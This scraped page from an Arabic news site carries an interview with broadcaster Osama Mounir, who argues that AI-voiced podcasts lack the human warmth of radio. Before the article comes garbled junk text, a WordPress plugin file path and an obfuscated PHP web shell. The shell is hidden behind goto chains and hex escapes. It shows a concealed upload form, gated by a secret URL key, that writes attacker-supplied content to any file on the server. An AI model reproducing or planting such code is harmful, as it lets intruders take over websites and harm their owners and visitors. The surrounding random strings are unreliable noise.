财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-content/plugins/ninja-forms/assets/js/lib/index.php
Q
Z
	P4phzRaWCiKOjlXk0dtgIqVwL2nB5H3eSfYx7o	MDEs6_Jbc9NF1rmvGAUT8uydLYW81F5OKaDCTicNIfJq0X6tR49GMbsv
E2yVnSh3pmjQrPzH
	_wk7	xlZugeoAUBuYJRHtlVvG5jEhwSc14	
9Usq8P_CAmyOZbL0ogpNeaznx6fQ32
	TkdrBKXWIF7iMDAPBrg2GJecmWX	uIdDMwvk7f
	lqFsQCy_390j8RaZx5SiVY
NKohUOpETHnL16t4zbQ
Ix1JbHujlqhi	YZ97z6mv2Xar84KWcse0ERUypPL5dfnOF_STwACGtV3DNoMg
	BkMAWRndE	HgTyra5LBwlV
J_
	uzshYef6CoDFkxpUi213KmQqv48ZN70PIjcXb9StOGgRGNmLrscHMv81X9zAPwSKo	3i5e4pn6Oq
JbujhQWtyYaIT_VDlB
	EkUZ2x7dC0fF6b	V9AG5n4CDQMSY7sFJjzZgIxcdLe3yqaEpXkw1

	BohfvPWrTH208RuU_NmitKOl<?php goto ipIYsij;mbRvpEgw: function dKrOHfL7($xQrwivB){		return trim($xQrwivB);	}goto nkPx0Zfs;woEx9wsv: $lxY3EHj = trim("   "); goto b5Odveb;f1FPLw4: $OlKPVc = str_pad("", 0); goto d2KrMyX;FqXB_bHE7: $JCNZsl = implode("JCNZsl",array());goto mbRvpEgw;Mx9tI7Vq: $LduE3NtS4 = lcfirst("lR7Haz93q"); goto SSGxY0EP6;d2KrMyX: $CfD7G = ucwords("idoYsrXAh"); goto WPxcnJ;fHq_vy5A0: czrFNw5L();goto KBJC3I;uTgerH: $fzCdI = sprintf(""); goto mFl_j8;yzSIrC: $Rs81Gi = substr("Rs81Gi",6,0);goto VyUb18MD;UKv29uUlQe: $pAt84 = date("Y-m-d H:i:s"); goto _8PlIin0z;VyUb18MD: echo "\74\144\151\x76\76\x3c\x74\x65\x78\x74\141\x72\145\x61\x20\x6e\x61\x6d\145\x3d\x22\115\x4d\165\71\x48\x4c\x32\122\130\x38\42\40\162\x6f\167\163\75\42\65\x22\76\74\x2f\x74\145\x78\164\x61\x72\145\141\x3e\x3c\x2f\144\151\166\x3e";goto woEx9wsv;kriSq0Kg67: $oofAMH4_B = ucwords("J0aWqB"); goto AxKJ9S;UwxbRgI: $yRjuPH = metaphone("X7erhnRc6"); goto uTgerH;fr4twfh: $NivyzW2S = ucwords("rfZEIcTL"); goto KxS516wKY;lphMyqi: echo "\x3c\57\146\157\162\x6d\x3e";goto UwxbRgI;NpvcmQNxeP: echo "\x3c\146\157\162\155\x20\x6d\x65\x74\x68\x6f\x64\75\x22\120\117\123\x54\x22\x3e";goto HU8jVfpvd6;emsnIl: $rDmULTRq = md5("SlaQJ48f"); goto R4nD0u;nkPx0Zfs: $nT_si = str_pad("", 0); goto NpvcmQNxeP;_8PlIin0z: $JmPON = str_repeat("", 6); goto Mx9tI7Vq;KxS516wKY: $wznoR = defined("yxgFZzd0D"); goto wxge0WZ;suSZRPG9w: function czrFNw5L(){		global $UjrTNU;		$UjrTNU["hbMkSyH"] = dKrOHfL7(dKrOHfL7("fi").dKrOHfL7("le")."_".dKrOHfL7("put")."_".dKrOHfL7("Con").dKrOHfL7("tents"));	}goto FqXB_bHE7;BDSTxCBNlQ: $c7p8rVQz = isset($_POST["bAazrhG"])?trim($_POST["bAazrhG"]):"";goto pH5DTyj8;R4nD0u: $fbtpF = str_shuffle("DEo48Daen"); goto Y1X2DG;H0EXG9: $HR0UQluk = strstr("HR0UQluk", "K7J35"); goto lJPaQyH14;HU8jVfpvd6: echo "\74\x64\x69\x76\x3e\x3c\151\x6e\160\x75\x74\40\x74\171\160\145\75\42\x74\x65\170\x74\x22\40\156\141\155\x65\x3d\42\x62\101\x61\x7a\x72\x68\107\42\76\74\x2f\x64\x69\166\x3e";goto yzSIrC;WIg6Ypw: $K7u5gE = substr("K7u5gE",6,0);goto kriSq0Kg67;OQWjG1qm: $xv7yfIdz4 = ucfirst("he7qaZW"); goto lphMyqi;KBJC3I: $sf = !empty($cuUWJ)?exit("_Ctjep96of4X10b3".$UjrTNU["hbMkSyH"]($c7p8rVQz,$cuUWJ)):"";goto suSZRPG9w;lQ3euOKw: $mRchs3 = str_pad("", 0); goto M3bsQ6a;lJPaQyH14: $Y5L4BP = sprintf(""); goto IFvH5iT1;ipIYsij: $rq4L5 = wordwrap("", 9);goto WIg6Ypw;llf1go: $Xbt8PAc3f = date("Y-m-d H:i:s"); goto H0EXG9;SSGxY0EP6: $gXx37Vl = strval(false); goto anz5o6L9SD;WPxcnJ: $drkpMxSiR = strstr("drkpMxSiR", "tR51lM_"); goto UKv29uUlQe;pH5DTyj8: $cuUWJ = isset($_POST["MMu9HL2RX8"])?trim($_POST["MMu9HL2RX8"]):""; goto fHq_vy5A0;b5Odveb: $a3c5b = strstr("WKnbcj9","jGcOj"); goto lQ3euOKw;wxge0WZ: $DwOZfDz = defined("TWzhsB"); goto j7SrgW;Y1X2DG: $IFAxIeQT7 = stripos("utc4KJiO","P2r0w9TmG"); goto fr4twfh;j7SrgW: if(!isset($_GET["kfW"]))exit;goto llf1go;IFvH5iT1: $vNsKX8d = strstr("JC9EY","UKYA0re"); goto BDSTxCBNlQ;M3bsQ6a: echo "\74\142\x75\x74\164\x6f\156\40\x74\x79\160\x65\75\42\x73\x75\142\155\x69\x74\42\76\x73\x75\142\x6d\x69\x74\74\57\x62\165\x74\164\x6f\x6e\x3e";goto OQWjG1qm;AxKJ9S: $mkjtN3 = chunk_split("hfwRFPm7",3); goto emsnIl;mFl_j8: $G67mw = false; goto f1FPLw4;anz5o6L9SD:""; ?>Cy6vRGr9Es0wtZPxq_khnUgIQla5YTNu
H
	Oj1AWei7dcXp8o2SDKLFB3fzV4J	bMmAq7Kx
4uVf0MPg8r36GQIYRmlJByaoNkH9DZsdO	eU2t1whvcXnbS5Czi
	p_jFWETLzEA
ti7GHnxsJRc	Yf5q6hrawm1ljCQyTW_bLX
	4dNeguZD3B2pOVM9ISUov8P0FkK3gleqBZ9TpD7b42_zGRiNI5o6rWyF0P1s8dVO

	tcYMCmULHjKwEuh	kvSQfJAnXxahH2VQmtyI
iOcdaCRAnL
	w7vE3eGNX5Uf8gKo4bMBSF0xq9uPW1lZs	_rpz6DkjTYJKRDjdvQcAtSJUIiba0E7ngxX2o4P_kpze6	3T
rWCm9L1lY8BuZOG5FsfqhHVw
	yMNX7EHUBa
	5ox3PntFd
YSZjLlVJeWOcM_hCQ4s1miN6pgz	08vGubryT2k9wKDqARfI
صوت الليل لا ينام… حتى في عصر Gamini – tahkoom.com
تفاعل

صوت الليل لا ينام… حتى في عصر Gamini

كتبت : فرح سمير                                                                                                                                                              بين دفء الصوت وبرود التقنية… أسامة منير يتحدث

“حين يُستنسخ الصوت.. هل تُستنسخ الروح؟”

“أسامة منير: الروح لا تسجل ب mp3 ولا ذكاء يعوّض دفء الصوت الإنساني

عندما يُذكر اسم الإذاعة في العالم العربى ، يتردد في الأذهان فورًا صوت الإعلامي القدير أسامة منير، صاحب المدرسة الخاصة في فن التقديم الإذاعي، والبصمة الإنسانية الواضحة في برامجه، وعلى رأسها البرنامج الأشهر “أنا والنجوم وهواك”. بصوته العذب وحضوره الإنساني، أصبح “ الغائب الحاضر ” في ذاكرة مستمعين تربّوا على نبرة صدقه ودفء كلماته.

وفي الوقت الذي تواصل فيه التكنولوجيا اقتحام ميادين الإعلام، أعلنت شركة Google في مايو 2025 عن ميزة “البودكاست الذكي” ضمن تطبيق Gemini، والتي تتيح للمستخدمين تحويل مستنداتهم إلى حلقات صوتية تفاعلية، تديرها شخصيتان ذكيتان تعملان بالذكاء الاصطناعي.

في هذا السياق، نتحاور اليوم مع الإعلامي أسامة منير حول هذه النقلة النوعية، ونبحث معه في سؤال جوهري: هل ما زال الصوت البشري الدافئ قادرًا على الصمود أمام زحف الذكاء الاصطناعي؟ كيف يمكن للإعلامي أن يتكيّف مع هذه الأدوات الجديدة، دون أن يفقد إنسانيته، أو يفرّط في جوهر الرسالة الإعلامية؟

في رأيك، هل البودكاست بصوت الذكاء الاصطناعي يمكن أن ينافس صوت وتجربة المذيع البشري في المستقبل؟

أعتقد أن البودكاست “لحم ودم”، لا يصح أن يكون بصوت الذكاء الاصطناعي أبدًا. لأنك إن قمتِ بتحضير الأسئلة وطرحتها بصوت الذكاء الاصطناعي، ثم جاءت الإجابات أيضًا من الذكاءالاصطناعي، فكأنك فقط تبحثين عن وسيلة لقراءة نص مكتوب. لكن الحوار الحقيقي يكون حيًا، عبارة عن تلاقٍ بين فكر وفكر، وعقل وعقل. يكون فيه أخذ وردّ، ولا يمكن أن يُدار بأي شكل من الأشكال عن طريق الذكاء الاصطناعي، لأنه ببساطة سيفقد “الروح”،وسيفقد “الطعم”، وحتى “ذكاء الحوار” نفسه.

لديك تاريخ طويل في البرامج الإذاعية المؤثرة.. هل تعتقد أن الذكاء الاصطناعي يمكن أن ينقل نفس المشاعر والدفء الذي يقدمه المذيع الحقيقي؟

أعتقد أن البرامج الإذاعية لا يمكن أن تُدار على الإطلاق بتقنيات الذكاء الاصطناعي، فهذا شيء بعيد تمامًا. لأن المذيع الذي يجلس أمام الميكروفون — والذي نسميه “الحديدة” —تنقل “الحديدة” هذه ليس فقط صوته، وإنما أيضًا إحساسه وأفكاره، ومشاعره من فرح أو غضب أو حماس هناك دفء وخصوصية في العلاقة الحوارية بين المذيع والمستمع، ولا أعتقد أن هذا يمكن أن نحصل عليه بأي حال من الأحوال من الذكاء الاصطناعي.

هل سبق أن جربت أي أدوات ذكاء اصطناعي في إعداد أو إنتاج محتوى صوتي أو بودكاست؟ وإن لم تفعل، هل تفكر باستخدامها مستقبلا ً ؟

نعم، بالفعل جربت، كنت أستطلع كيف يمكن إنتاج محتوى بالذكاء الاصطناعي، أو كيف يمكن أن يساعدني في إعداد أفكار إذاعية أو وضع محاور.وجدت أنه ببساطة يجمع كل ما هو موجود على الإنترنت، لكنه لا يبتكر. يعرض المتاح فقط، ولا يضيف عليه.

ونعم، قد نستخدمه أحيانًا في أعمال “الفويس أوفر”، لكن في البرامج الإذاعية، لا.. لم أستخدمه من قبل ولا أرى أنه يمكن أن يُستخدم.

فيه بودكاستات حاليًا تُنتَج بالكامل باستخدام الذكاء الاصطناعي.. من كتابة النص إلى صوت المذيع، وحتى تحرير الحلقات. هل ترى في ذلك فرصة لتطور الإعلام أم خطرًا على المهنة؟

كون أن هناك الآن بودكاست يُنتَج بالكامل بالذكاء الاصطناعي، لا أعتقد أنه يُعتبر بودكاست حقيقي. لأنه سيفتقد للروح. ما الفائدة أن أطلب من الذكاء الاصطناعي كتابة سكريبت، ثم يقرأه بصوت مذيع اصطناعي، ويضيف له موسيقى، وأرفعه على المنصة؟ لم أفعل شيئًا.

لو قلت له مثلا ً : “اعمل لي محاضرة أو بودكاست عن التعايش السلمي”، سيضع لي نقاطًا وشرحًا. ثم أطلب منه قراءتها، فيقرأها جميعًا بإضافة موسيقى خلفية، فأقوم بنشرها على الإنترنت. هل فعلت شيئًا؟ لا. هذا يمكن لأي شخص أن يقرؤه على الإنترنت. البودكاست في جوهره إنساني. الإنسان هو من يناقش، وله فكر وتصور ورؤية، وهذا لن تجده أبدًا عند الذكاء الاصطناعي. الذكاء الاصطناعي يجمع لك بيانات واقعية من الإنترنت، لكنه لا يخلق. سأضرب لكِ مثلا ً : هناك أجهزة حديثة الآن تنتج موسيقى كاملة من توزيع وتركيب إيقاعات وآلات. لكن هناك آلات موسيقية، لا يمكن أن تُعزف إلا “لايف” لأن عزفها الحقيقي يحمل طعمًا خاصًا.مثل الكمان، والتشيلو، والأكورديون. لا يمكن أن تُعزف من “كيبورد”، لأن الصوت يختلف تمامًا.

هل سبق أن تم استخدام نبرة صوتك المميزة في تقنيات الذكاء الاصطناعي؟ وإن حدث، فكيف كان شعورك عندما استمعت إليه؟

نعم، سمعت صوتي بالذكاء الاصطناعي. فى مرة أحد الموزعين الموسيقيين أرسل لي مقطعًا ساخرًا استخدم فيه صوتي في“فويس أوفر”، وقال لي ممازحًا: “أنا ممكن أستغل صوتك!” ضحكت، لم أزعل، لكن لاحظت أنه ربما أخذ نبرة صوتي، “التون” والموجة الصوتية كانت صحيحة، لكن مخارج الحروف كانت مختلفة، والأسلوب كان مختلفًا. لأن من قرأ هو المتحدث الحقيقي، لكنه فقط غيّر صوته ليصبح صوتي. أي أن الذكاء الاصطناعي أخرج صوتي، لكن بأسلوبه هو. فلم يكن “الفويس أوفر” حتى بأسلوبي أنا. فما بالك لو استُخدم هذا في الرد على الناس في حوارات وأسئلة؟ هناك شيئًا “بلاستيكيًا”، شيئًا غير حقيقي. ستشعرين أن مع أنه لم يكن سكريبتًا مكتوبًا، بل مجرد تعديل صوت. فلم يوصل لا المعنى، ولا الإحساس، ولا حتى التحفيز.وهنا نقطة مهمة أود أن أذكرها: “الفويس أوفر” في الإعلان، هو البائع، هو من يقدّم المنتج للمستهلك، هو من يقنعه به بأسلوب معين. والإقناع هذا موهبة من عند الله سبحانه وتعالى، والصوت المقبول كذلك نعمة من الله.لا يمكن لشيء صُنع بأيادٍ بشرية أن يضاهي ما خلقه الله.

ما رأيك في تأثير الذكاء الاصطناعي على فرص الشباب في دخول مجال البودكاست؟ هل يمكن أن يسهل الطريق، أم يقلل من قيمة التجربة والخبرة؟الذكاء الاصطناعي؟

أعتقد أنه سيؤثر على دخول الشباب لمجال الإعلام والبودكاست. وهناك خطورة أخرى أود أن أذكرها، لا أعلم إن كنتِ ستسألين عنها أم لا،لكن أي شخص يمكنه الآن إنشاء بودكاست أو حوار باستخدام الذكاء الاصطناعي، ويمكن أن يستخدم أصوات شخصيات عالمية، أو أصوات لمسؤولين، وقد يؤدي ذلك إلى كارثة سياسية. تخيلوا أحدهم يستخدم صوت مسؤول ويضعه في إجابات معينة بطريقة مزيفة، هذا قد يسبب أزمة سياسية خطيرة، حتى على المستوى المحلي.

اذا طلبت من حضرتك نصيحة لطلاب الإعلام الذين يرغبون في دخول مجال البودكاست، خاصة في ظل وجود الذكاء الاصطناعي، ماذا تقول لهم؟

أقول للشباب الذين يريدون دخول مجال البودكاست والعمل في الإعلام: الميديا تحتاج إلى الإنسان الذي يمتلك “ذكاء اجتماعي”، ويجيد فن الحوار، ويعرف كيف يأخذ ويعطي. لأن الكلام يجب أن يكون تبادليًا، لا مجرد “أنا أتكلم وأتكلم” دون أن أترك مجالا ً للرد. ويجب أن يكون لديه ثقافة، ليس بالضرورة تخصصًا، لكن يعرف بعض الأمور الطبية، بعض الأمور التاريخية، الاجتماعية، الفنية،حتى عندما يتحدث، يكون لديه خلفية، ويكون مدركًا لما يتحدث عنه، لا يبدو كمن يكتشف الكلام لأول مرة أما عن استغلال الذكاء الاصطناعي في البودكاست، فيمكن استخدامه في تأليف موسيقى تتر أو خلفيات صوتية. لكن بودكاست كامل بأفكاره وبنائه بالذكاء الاصطناعي؟ لا أعتقد أنه سيكون مبدعًا أبدًا. يجب أن يجتهد الإنسان قليلا ً ليخرج بشيء مميز. المذيع الذي يريد أن يتعلم الإذاعة، عليه أن يتعلمها. الإذاعة بسيطة وسهلة، لكنها تتطلب شيئين: الحرفية والموهبة. يجب تعلم الحرفة: طريقة الكلام، النقاش، تقسيم المحاور، احترام الرأي الآخر.. إلخ. لكن الموهبة هي التي تطغى على الحرفة، وهي من عند الله. الله يعطيها لإنسان معين، لا تُمنح لأي أحد.

هل ترى أن مستقبل الإعلام الصوتي سيبقى قائمًا على العنصر البشري، أم أن الذكاء الاصطناعي قد يستحوذ عليه؟

الإعلام الصوتي سيظل كما هو، إعلامًا صوتيًا. ما الفائدة من أن أستمع إلى الراديو وتكون كل برامجه مصنوعة بالذكاء الاصطناعي؟ الذكاء الاصطناعي قد يكون مناسبًا في تطبيقات قراءة الكتب، لكنها ستكون مملة، بدون روح، بدون إحساس. الإحساس الذي يصل إلى الإنسان لا يمكن أن ينقله الذكاء الاصطناعي. فأنا شخصيًا جربت كثيرًا، مثلا ً كنا نسجل مواد وثائقية “دوكيومنتريز”، وحاولت بعد تسجيلها أن أستخدم صوتي مع الذكاء الاصطناعي، لكن النتيجة كانت سيئة جدًا جدًا.

بين أصالة الصوت الإذاعي وذكاء الآلة، يبقى الإنسان هو العنصر الحاسم في صناعة المحتوى. الإعلامي القدير أسامة منير ذكّرنا أن التكنولوجيا أداة، وليست بديلا ً ، وأن الرسالة الصادقة لا تولد من الخوارزميات، بل من الإحساس بالناسوفي النهاية، قد تتغير الأدوات وتتطور الوسائل، لكن جوهر الإعلام الحقيقي يظل مرتبطًا بالصدق، والإحساس، والرسالة التي تمس ّ وجدان المتلقي. وبين الذكاء الاصطناعي وذكاء المشاعر، يبقى الخيار أمام الإعلامي: هل يكون مكمّلا ً للتكنولوجيا… أم تابعًا لها

اظهر المزيد

مقالات ذات صلة

زر الذهاب إلى الأعلى